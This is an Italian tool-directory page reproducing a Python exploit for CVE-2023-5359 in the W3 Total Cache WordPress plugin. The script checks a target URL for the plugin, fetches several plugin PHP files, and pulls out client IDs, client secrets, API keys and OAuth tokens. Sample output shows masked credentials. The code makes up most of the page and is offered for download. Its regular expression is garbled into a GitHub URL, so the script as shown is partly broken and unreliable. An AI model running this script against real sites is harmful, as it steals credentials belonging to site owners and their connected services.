Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Cleartext-Storage-vulnerability-CVE-2023-5359-in-W3-Total-Cache — Prende di mira le versioni ≤2.7.5 vulnerabili a CVE-2023-5359 | Kitploit
Strumenti/GitHubGitHub/spyata123/cleartext-storage-vulnerability-cve-2023-5359-in-w3-total-cache
RicognizioneAttacchi alle PasswordAnalisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza Web
GitHubspyata123/cleartext-storage-vulnerability-cve-2023-5359-in-w3-total-cache

Cleartext-Storage-vulnerability-CVE-2023-5359-in-W3-Total-Cache

Prende di mira le versioni ≤2.7.5 vulnerabili a CVE-2023-5359

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1 anno faNon ancora revisionato

Cleartext-Storage-vulnerability-CVE-2023-5359-in-W3-Total-Cache

Prende di mira le versioni ≤2.7.5 vulnerabili a CVE-2023-5359


import requests import re from urllib.parse import urljoin

Common paths where credentials are stored

CREDENTIAL_PATHS = [ "/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php", "/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php", "/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php" ]

def check_w3tc_presence(target_url): """Check if W3 Total Cache is installed""" try: response = requests.get(target_url, timeout=10) if "wp-content/plugins/w3-total-cache" in response.text: return True return False except Exception as e: print(f"Connection error: {str(e)}") return False

def extract_credentials(target_url): """Extract plaintext credentials from vulnerable files""" credentials = {}

root@kitploit:~
for path in CREDENTIAL_PATHS:
    full_url = urljoin(target_url, path)
    try:
        response = requests.get(full_url, headers={"User-Agent": "Mozilla/5.0"})
        if response.status_code == 200:
            # Search for common credential patterns
            matches = re.findall(
                r"(client_id|client_secret|api_key|oauth_token)\s*=\s*['\"](https://github.com/spyata123/cleartext-storage-vulnerability-cve-2023-5359-in-w3-total-cache/blob/HEAD/%5Ba-zA-Z0-9-_%5D+)['\"]",
                response.text
            )
            if matches:
                credentials[path] = dict(matches)
    except Exception as e:
        continue
        
return credentials

def main(): target = input("Enter target URL (e.g., https://example.com): ").strip()

root@kitploit:~
if not check_w3tc_presence(target):
    print("[-] W3 Total Cache not detected")
    return

print("[+] W3 Total Cache detected. Checking for CVE-2023-5359...")

creds = extract_credentials(target)

if creds:
    print("\n[!] Sensitive credentials found:")
    for filepath, data in creds.items():
        print(f"\nFile: {filepath}")
        for key, value in data.items():
            print(f"  {key}: {value}")
else:
    print("[+] No credentials found in common locations")

if name == "main": main()

Enter target URL (e.g., https://example.com): https://vulnerable-site.com [+] W3 Total Cache detected. Checking for CVE-2023-5359...

[!] Sensitive credentials found:

File: /wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php client_id: GOxxxxxxxxxxxx78 client_secret: ABcdEFghIJklMNopQRstUVwxYZ

File: /wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php api_key: AiiiihIwJKLmnopkhdhsQRSTUVWXYZ-123456

Scarica lo strumento